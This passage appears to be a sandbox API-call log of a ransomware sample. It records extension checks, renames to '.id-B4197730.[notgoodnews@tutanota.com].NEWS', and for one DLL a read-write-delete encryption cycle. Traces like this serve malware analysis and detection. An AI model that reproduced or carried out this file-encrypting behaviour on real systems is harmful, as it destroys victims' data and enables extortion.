shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0193.297] lstrlenW (lpString=".zip") returned 4 [0193.297] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0193.297] lstrlenW (lpString=".rar") returned 4 [0193.297] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0193.297] lstrlenW (lpString=".bz2") returned 4 [0193.297] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0193.297] lstrlenW (lpString=".7z") returned 3 [0193.297] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0193.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0193.298] lstrlenW (lpString=".dbf") returned 4 [0193.298] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0193.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0193.298] lstrlenW (lpString=".1cd") returned 4 [0193.298] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0193.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0193.298] lstrlenW (lpString=".jpg") returned 4 [0193.298] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0193.298] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0193.298] lstrlenW (lpString="AppVIntegration.dll") returned 19 [0193.298] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0193.298] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=2118360) returned 1 [0193.298] CloseHandle (hObject=0x34c) returned 1 [0193.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll")) returned 0x20 [0193.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0193.299] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 1 [0193.342] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0193.342] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0193.342] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[notgoodnews@tutanota.com].news"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll")) returned 1 [0193.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0193.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0193.345] lstrlenW (lpString=".doc") returned 4 [0193.345] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0193.345] lstrlenW (lpString=".docx") returned 5 [0193.345] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0193.345] lstrlenW (lpString=".pdf") returned 4 [0193.345] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0193.345] lstrlenW (lpString=".xls") returned 4 [0193.345] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0193.345] lstrlenW (lpString=".xlsx") returned 5 [0193.345] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0193.346] lstrlenW (lpString=".ppt") returned 4 [0193.346] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0193.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0193.346] lstrlenW (lpString=".zip") returned 4 [0193.346] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0193.346] lstrlenW (lpString=".rar") returned 4 [0193.346] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0193.346] lstrlenW (lpString=".bz2") returned 4 [0193.346] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0193.346] lstrlenW (lpString=".7z") returned 3 [0193.346] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0193.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0193.346] lstrlenW (lpString=".dbf") returned 4 [0193.346] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0193.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0193.346] lstrlenW (lpString=".1cd") returned 4 [0193.346] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0193.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0193.347] lstrlenW (lpString=".jpg") returned 4 [0193.347] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0193.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0193.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0193.347] lstrlenW (lpString=".doc") returned 4 [0193.347] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0193.347] lstrlenW (lpString=".docx") returned 5 [0193.347] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0193.347] lstrlenW (lpString=".pdf") returned 4 [0193.347] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0193.347] lstrlenW (lpString=".xls") returned 4 [0193.347] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0193.347] lstrlenW (lpString=".xlsx") returned 5 [0193.347] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0193.347] lstrlenW (lpString=".ppt") returned 4 [0193.347] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0193.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0193.347] lstrlenW (lpString=".zip") returned 4 [0193.347] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0193.347] lstrlenW (lpString=".rar") returned 4 [0193.347] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0193.347] lstrlenW (lpString=".bz2") returned 4 [0193.347] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0193.347] lstrlenW (lpString=".7z") returned 3 [0193.347] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0193.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0193.347] lstrlenW (lpString=".dbf") returned 4 [0193.347] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0193.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0193.348] lstrlenW (lpString=".1cd") returned 4 [0193.348] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0193.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0193.348] lstrlenW (lpString=".jpg") returned 4 [0193.348] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0193.348] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0193.348] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0193.348] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0193.349] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=10240) returned 1 [0193.349] CloseHandle (hObject=0x34c) returned 1 [0193.349] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui")) returned 0x20 [0193.349] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\tipresx.dll.mui.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0193.349] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0193.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\tipresx.dll.mui") returned 72 [0193.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\tipresx.dll.mui") returned 72 [0193.349] lstrlenW (lpString=".doc") returned 4 [0193.349] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0193.349] lstrlenW (lpString=".docx") returned 5 [0193.349] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0193.349] lstrlenW (lpString=".pdf") returned 4 [0193.349] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0193.349] lstrlenW (lpString=".xls") returned 4 [0193.349] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0193.349] lstrlenW (lpString=".xlsx") returned 5 [0193.349] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0193.349] lstrlenW (lpString=".ppt") returned 4 [0193.349] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0193.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\tipresx.dll.mui") returned 72 [0193.350] lstrlenW (lpString=".zip") returned 4 [0193.350] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0193.350] lstrlenW (lpString=".rar") returned 4 [0193.350] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0193.350] lstrlenW (lpString=".bz2") returned 4 [0193.350] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0193.350] lstrlenW (lpString=".7z") returned 3 [0193.350] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0193.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\tipresx.dll.mui") returned 72 [0193.350] lstrlenW (lpString=".dbf") returned 4 [0193.350] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0193.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\tipresx.dll.mui") returned 72 [0193.350] lstrlenW (lpString=".1cd") returned 4 [0193.350] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0193.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\tipresx.dll.mui") returned 72 [0193.350] lstrlenW (lpString=".jpg") returned 4 [0193.350] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0193.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\tipresx.dll.mui") returned 72 [0193.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\tipresx.dll.mui") returned 72 [0193.350] lstrlenW (lpString=".doc") returned 4 [0193.350] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0193.350] lstrlenW (lpString=".docx") returned 5 [0193.350] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0193.350] lstrlenW (lpString=".pdf") returned 4 [0193.350] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0193.350] lstrlenW (lpString=".xls") returned 4 [0193.350] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0193.350] lstrlenW (lpString=".xlsx") returned 5 [0193.350] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0193.351] lstrlenW (lpString=".ppt") returned 4 [0193.351] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0193.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\tipresx.dll.mui") returned 72 [0193.351] lstrlenW (lpString=".zip") returned 4 [0193.351] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0193.351] lstrlenW (lpString=".rar") returned 4 [0193.351] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0193.351] lstrlenW (lpString=".bz2") returned 4 [0193.351] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0193.351] lstrlenW (lpString=".7z") returned 3 [0193.351] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0193.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\tipresx.dll.mui") returned 72 [0193.351] lstrlenW (lpString=".dbf") returned 4 [0193.351] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0193.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\tipresx.dll.mui") returned 72 [0193.351] lstrlenW (lpString=".1cd") returned 4 [0193.351] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0193.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\tipresx.dll.mui") returned 72 [0193.351] lstrlenW (lpString=".jpg") returned 4 [0193.351] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0193.351] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0193.351] lstrlenW (lpString="TabIpsps.dll") returned 12 [0193.351] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabIpsps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0193.352] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=41984) returned 1 [0193.352] CloseHandle (hObject=0x34c) returned 1 [0193.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabIpsps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll")) returned 0x20 [0193.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabIpsps.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0193.352] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabIpsps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0193.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabIpsps.dll") returned 63 [0193.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabIpsps.dll") returned 63 [0193.352] lstrlenW (lpString=".doc") returned 4 [0193.352] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0193.352] lstrlenW (lpString=".docx") returned 5 [0193.353] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0193.353] lstrlenW (lpString=".pdf") returned 4 [0193.353] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0193.353] lstrlenW (lpString=".xls") returned 4 [0193.353] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0193.353] lstrlenW (lpString=".xlsx") returned 5 [0193.353] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0193.353] lstrlenW (lpString=".ppt") returned 4 [0193.353] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0193.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabIpsps.dll") returned 63 [0193.353] lstrlenW (lpString=".zip") returned 4 [0193.353] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0193.353] lstrlenW (lpString=".rar") returned 4 [0193.353] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0193.353] lstrlenW (lpString=".bz2") returned 4 [0193.353] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0193.353] lstrlenW (lpString=".7z") returned 3 [0193.353] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0193.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabIpsps.dll") returned 63 [0193.353] lstrlenW (lpString=".dbf") returned 4 [0193.353] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0193.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabIpsps.dll") returned 63 [0193.353] lstrlenW (lpString=".1cd") returned 4 [0193.353] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0193.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabIpsps.dll") returned 63 [0193.353] lstrlenW (lpString=".jpg") returned 4 [0193.353] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0193.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabIpsps.dll") returned 63 [0193.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabIpsps.dll") returned 63 [0193.354] lstrlenW (lpString=".doc") returned 4 [0193.354] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0193.354] lstrlenW (lpString=".docx") returned 5 [0193.354] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0193.354] lstrlenW (lpString=".pdf") returned 4 [0193.354] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0193.354] lstrlenW (lpString=".xls") returned 4 [0193.354] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0193.354] lstrlenW (lpString=".xlsx") returned 5 [0193.354] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0193.354] lstrlenW (lpString=".ppt") returned 4 [0193.354] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0193.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabIpsps.dll") returned 63 [0193.354] lstrlenW (lpString=".zip") returned 4 [0193.354] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0193.354] lstrlenW (lpString=".rar") returned 4 [0193.354] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0193.354] lstrlenW (lpString=".bz2") returned 4 [0193.354] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0193.354] lstrlenW (lpString=".7z") returned 3 [0193.354] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0193.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabIpsps.dll") returned 63 [0193.354] lstrlenW (lpString=".dbf") returned 4 [0193.354] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0193.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabIpsps.dll") returned 63 [0193.354] lstrlenW (lpString=".1cd") returned 4 [0193.354] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0193.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabIpsps.dll") returned 63 [0193.354] lstrlenW (lpString=".jpg") returned 4 [0193.354] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0193.355] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0193.355] lstrlenW (lpString="tabskb.dll") returned 10 [0193.355] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0193.355] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=4101632) returned 1 [0193.355] CloseHandle (hObject=0x34c) returned 1 [0193.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll")) returned 0x20 [0193.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0193.356] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0 [0193.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll") returned 61 [0193.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll") returned 61 [0193.356] lstrlenW (lpString=".doc") returned 4 [0193.356] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0193.356] lstrlenW (lpString=".docx") returned 5 [0193.356] lstrcmpiW (lpString1=".docx", lpString2="b.dll") returned -1 [0193.356] lstrlenW (lpString=".pdf") returned 4 [0193.356] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0193.356] lstrlenW (lpString=".xls") returned 4 [0193.356] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0193.356] lstrlenW (lpString=".xlsx") returned 5 [0193.356] lstrcmpiW (lpString1=".xlsx", lpString2="b.dll") returned -1 [0193.356] lstrlenW (lpString=".ppt") returned 4 [0193.356] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0193.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll") returned 61 [0193.356] lstrlenW (lpString=".zip") returned 4 [0193.356] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0193.356] lstrlenW (lpString=".rar") returned 4 [0193.356] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0193.356] lstrlenW (lpString=".bz2") returned 4 [0193.356] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0193.357] lstrlenW (lpString=".7z") returned 3 [0193.357] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0193.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll") returned 61 [0193.357] lstrlenW (lpString=".dbf") returned 4 [0193.357] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0193.365] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0193.365] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0193.365] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0193.390] GetLastError () returned 0x0 [0193.390] ReadFile (in: hFile=0x34c, lpBuffer=0x3a0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0a020*, lpNumberOfBytesRead=0x34ffecc*=0x29080, lpOverlapped=0x0) returned 1 [0193.414] WriteFile (in: hFile=0x348, lpBuffer=0x3a0a020*, nNumberOfBytesToWrite=0x29090, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0a020*, lpNumberOfBytesWritten=0x34ffc94*=0x29090, lpOverlapped=0x0) returned 1 [0194.063] ReadFile (in: hFile=0x34c, lpBuffer=0x3a0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0a020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0194.097] WriteFile (in: hFile=0x348, lpBuffer=0x3a0a020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0a020*, lpNumberOfBytesWritten=0x34ffc94*=0xe8, lpOverlapped=0x0) returned 1 [0194.097] SetEndOfFile (hFile=0x348) returned 1 [0194.097] CloseHandle (hObject=0x348) returned 1 [0194.097] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0194.097] SetEndOfFile (hFile=0x34c) returned 1 [0194.099] CloseHandle (hObject=0x34c) returned 1 [0194.099] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0194.099] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll")) returned 1 [0194.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0194.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0194.100] lstrlenW (lpString=".doc") returned 4 [0194.100] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0194.100] lstrlenW (lpString=".docx") returned 5 [0194.100] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0194.100] lstrlenW (lpString=".pdf") returned 4 [0194.100] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0194.100] lstrlenW (lpString=".xls") returned 4 [0194.100] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0194.100] lstrlenW (lpString=".xlsx") returned 